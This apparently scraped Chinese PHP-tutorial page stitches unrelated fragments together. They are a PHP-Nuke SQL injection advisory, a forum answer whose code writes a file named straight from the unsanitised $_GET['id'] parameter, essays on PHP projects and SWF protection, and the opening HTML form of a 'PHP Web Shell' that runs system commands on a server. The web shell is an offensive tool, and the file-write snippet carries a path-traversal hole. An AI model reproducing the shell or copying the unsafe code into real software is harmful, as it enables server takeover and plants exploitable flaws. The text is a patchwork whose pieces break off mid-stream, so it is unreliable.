PHP-Nuke存在远程SQL注入漏洞 后台数据库堪忧

 更新时间:2016年11月25日 16:15  点击:2127
描述:
  PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
 
  PHP-Nuke的Your_Account模块实现上存在输入验证漏洞,远程攻击者可能利用此漏洞对服务器程序执行SQL注入攻击。
 
  PHP-Nuke的Your_Account模块没有对username参数做充分的过滤检查,远程攻击者可能在此参数中插入恶意的SQL命令,从而非授权获取对后台数据库的操作。
 
  受影响系统:
  PHP-Nuke PHP-Nuke 7.8
  不受影响系统:
  PHP-Nuke PHP-Nuke 7.9 patch 3.1
  补丁下载:
  目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
  http://phpnuke.org/
请问,当我浏览某个网页时,我想在服务器的某个路径下生成对应的静态网页,以方便调用,该怎么处理比较好?
我的程序以前写的,没有这个功能.因此我想有没有比较好的在不大量改动到原程序的情况下实现该功能.

回复人:arcow(冲星) ( 五级(中级)) 信誉:100 2006-2-28 18:02:45
比如你的动态显示页面为
display.php?id=1
的话
你可以在diplay里判断一下是否在对应目录存在对应id的文件名(这里假设文件为id号 html即1.html,2.html,...)
你判断 $id."html"这个文件是否存在于服务器,如果存在就直接跳转到这个页面,要是不存在的话就创建(建义用一个函数来创建,这样对页面改动不大,比如createHTML($_GET['id']),至于这个函数怎么写,我想你应该知道)然后再跳转
-------------------------------------------------
回复人:ice_berg16(寻梦的稻草人) ( 三星(高级)) 信誉:125 2006-2-28 21:33:13
假设你显示文章的页面为
showNews.php?id=34
那么可以这么做
ob_start();
//你的正常程序代码
$html=ob_get_contents();
ob_end_clean();
$fp=fopen($_GET['id'].".htm", "w");
fwrite($fp, $html);
fclose($fp);
  在首页看到一篇文章 PHP做Web项目的优缺点, 自己也来废话几句。
  其实PHP是一个很优秀的工具,它可以简单,也可以复杂。不一样的项目,应该用不一样的PHP。
  小项目 - 简单而直接的PHP
  一般对于一个功能页面在20以下的网站,我们可以用一个很简单的框架结构来写。在这个规模上,我建议是使用比较直接的面向过程编码方法,原因很简单,没有必要把class文件弄的N 多,结果controller里边就一个new就完了。当然,需求频繁变化的项目除外。
  在这个级别上,php优点表现的很明显:快速开发,一目了然。缺点同时也被隐藏得很好。
  中型项目 - 结构优美的OO化的PHP
  对于一个中型项目,我建议使用一个良好设计的框架来做,这个框架可以是基于MVC模型,封装了众多底层操作的,当然,一定要有一个好的最好是透明的cache机制,这样,我们为了适应变化而加入的OO机制可以运行得更快更好。
  在这个级别上。php的缺点开始凸现,像对OO支持的不完整(这个PHP5有很大改进),只能单线程模式。另外一些外围工具开始出现缺乏支持,像PHP没有好的重构工具,没有好的集成到IDE中的单元测试工具。优点当然还是原来的快速开发,广泛的可用的开源资源。
  大型项目 - 扩展、优化后的PHP
  这里的大型项目,简单的指分布式项目,就是说,你的程序需要被部署在N台服务器上了。在这个层级上,PHP比起j2ee的确缺乏很多支持。我曾和shadow在735上详细讨论过PHP要在大型系统上应用需要解决的一些问题,当然这些问题不光是PHP这个语言的问题,也包括了周边开发的问题:
  1 PHP的页面代码共享,PHP的源代码被载入内存一次以后,就在其中保留 - 这个用APC和Zend的优化器可以搞定。
  2 PHP页面之间的数据对象共享,a.php和b.php之间可以共享一个数据对象,比如数组,这个现在可以用序列化来作,但是会有文件io,这块可以用共享内存或者memcached来处理。
  3 PHP的数据库连接池,因为在多前端的情况下,PHP控制不住对数据库的连接,所以需要在数据库前边去作一个连接池,类似于sqlrelay的东西。另外数据缓存也是很重要的,大压力开发有一个tip,就是能不动数据库就不要动数据库。
  4 PHP的前端cache系统。一个透明的可控制的cache机制,确保网站的页面以最少次数查询数据库。这个有很多实现,但是没有找到特别好的。
本文的保护是指防止用户将swf文件保存到本地,其实这种方法在很久之前就有人使用过了。主要的保护措施就是在php后台读取$_SERVER数组,如果是用IE里面的ActiveX控件来加载影片,将会有一个$_SERVER["HTTP_X_FLASH_VERSION"]参数,如果是用其它下载软件来下载,则不会有这个参数,纳闷的是用Firefox的ActiveX竟然没有这个参数。
这样一来就可以通过这个参数来判断用户的获取方式是否合法了。如果检测到没有$_SERVER["HTTP_X_FLASH_VERSION"]这个参数,就可以在后台切换另外一个swf来替换原来的。
 
另外一个就是缓存问题了,一般swf显示之后都还会显示在用户的缓存那里,这个问题也可以解决,那就是通过设置网页的头文件来实现,PHP代码:

使用PHP程序来保护你的flash作品

要声名一下,这种保护技术的能力是有限的,可以破解的方法还是有的。
  以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:
程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录
未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能
程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{ SCROLLBAR-FACE-COLOR: #ffffff;
SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
SCROLLBAR-SHADOW-COLOR: #fcfcfc;
SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
SCROLLBAR-ARROW-COLOR: #240024;
SCROLLBAR-TRACK-COLOR: #fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR: #48486c;
SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>
<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>
[!--infotagslink--]

相关文章

  • phpems SQL注入(cookies)分析研究

    PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
  • ASP/PHP sql注入语句整理大全

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
  • PHP 数据库缓存Memcache操作类

    操作类就是把一些常用的一系列的数据库或相关操作写在一个类中,这样调用时我们只要调用类文件,如果要执行相关操作就直接调用类文件中的方法函数就可以实现了,下面整理了...2016-11-25
  • C#连接SQL数据库和查询数据功能的操作技巧

    本文给大家分享C#连接SQL数据库和查询数据功能的操作技巧,本文通过图文并茂的形式给大家介绍的非常详细,需要的朋友参考下吧...2021-05-17
  • PHP防止SQL注入的例子

    防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
  • C#从数据库读取图片并保存的两种方法

    这篇文章主要介绍了C#从数据库读取图片并保存的方法,帮助大家更好的理解和使用c#,感兴趣的朋友可以了解下...2021-01-16
  • Intellij IDEA连接Navicat数据库的方法

    这篇文章主要介绍了Intellij IDEA连接Navicat数据库的方法,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借价值,需要的朋友可以参考下...2021-03-25
  • 在数据库里将毫秒转换成date格式的方法

    在开发过程中,我们经常会将日期时间的毫秒数存放到数据库,但是它对应的时间看起来就十分不方便,我们可以使用一些函数将毫秒转换成date格式。 一、 在MySQL中,有内置的函数from_unixtime()来做相应的转换,使用如下: 复制...2014-05-31
  • C#操作本地文件及保存文件到数据库的基本方法总结

    C#使用System.IO中的文件操作方法在Windows系统中处理本地文件相当顺手,这里我们还总结了在Oracle中保存文件的方法,嗯,接下来就来看看整理的C#操作本地文件及保存文件到数据库的基本方法总结...2020-06-25
  • 如何解决局域网内mysql数据库连接慢

    通过内网连另外一台机器的mysql服务, 确发现速度N慢! 等了大约几十秒才等到提示输入密码。 但是ping mysql所在服务器却很快! 想到很久之前有过类似的经验, telnet等一些服务在连接请求的时候,会做一些反向域名解析(如果...2015-10-21
  • MySQL快速复制数据库数据表的方法

    某些时候,例如为了搭建一个测试环境,或者克隆一个网站,需要复制一个已存在的mysql数据库。使用以下方法,可以非常简单地实现。假设已经存在的数据库名字叫db1,想要复制一份,命名为newdb。步骤如下:1. 首先创建新的数据库newd...2015-10-21
  • mysqldump命令导入导出数据库方法与实例汇总

    mysqldump命令的用法1、导出所有库系统命令行mysqldump -uusername -ppassword --all-databases > all.sql 2、导入所有库mysql命令行mysql>source all.sql; 3、导出某些库系统命令行mysqldump -uusername -ppassword...2015-10-21
  • Mysql数据库错误代码中文详细说明

    1005:创建表失败1006:创建数据库失败1007:数据库已存在,创建数据库失败1008:数据库不存在,删除数据库失败1009:不能删除数据库文件导致删除数据库失败1010:不能删除数据目录导致删除数据库失败1011:删除数据库...2013-09-23
  • c#异步读取数据库与异步更新ui的代码实现

    这篇文章主要介绍了c#从数据库里取得数据并异步更新ui的方法,大家参考使用吧...2020-06-25
  • Yii2.0高级框架数据库增删改查的一些操作

    yii2.0框架是PHP开发的一个比较高效率的框架,集合了作者的大量心血,下面通过用户为例给大家详解yii2使用中的一些基本的增删改查操作。 User::find()->all(); //返回所有用户数据; User::findOne($id); //返回 主键...2015-11-24
  • springBoot 项目排除数据库启动方式

    这篇文章主要介绍了springBoot 项目排除数据库启动方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-09-10
  • MYSQL数据库使用UTF-8中文编码乱码的解决办法

    1.用phpmyadmin创建数据库和数据表 创建数据库的时候,请将“整理”设置为:“utf8_general_ci” 或执行语句: 复制代码 代码如下:CREATE DATABASE `dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci; 创...2015-10-21
  • Linux 下使用shell脚本定时维护数据库的案例

    这篇文章主要介绍了Linux 下使用shell脚本定时维护数据库,本文通过案例分析给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-07-11
  • PHP连接公司内部服务器的MYSQL数据库的简单实例

    “主机,用户名,密码”得到连接、“数据库,sql,连接”得到结果,最后是结果的处理显示。当然,数据库连接是扩展库为我们完成的,我们能做的仅仅是处理结果而已。...2013-09-29
  • C#连接加密的Sqlite数据库的方法

    对数据加密分两种,一种是对数据库本身进行加密,另一种是对数据表中的数据进行加密,下面通过本文给大家介绍C#连接加密的Sqlite数据库的方法,感兴趣的朋友一起看看吧...2020-06-25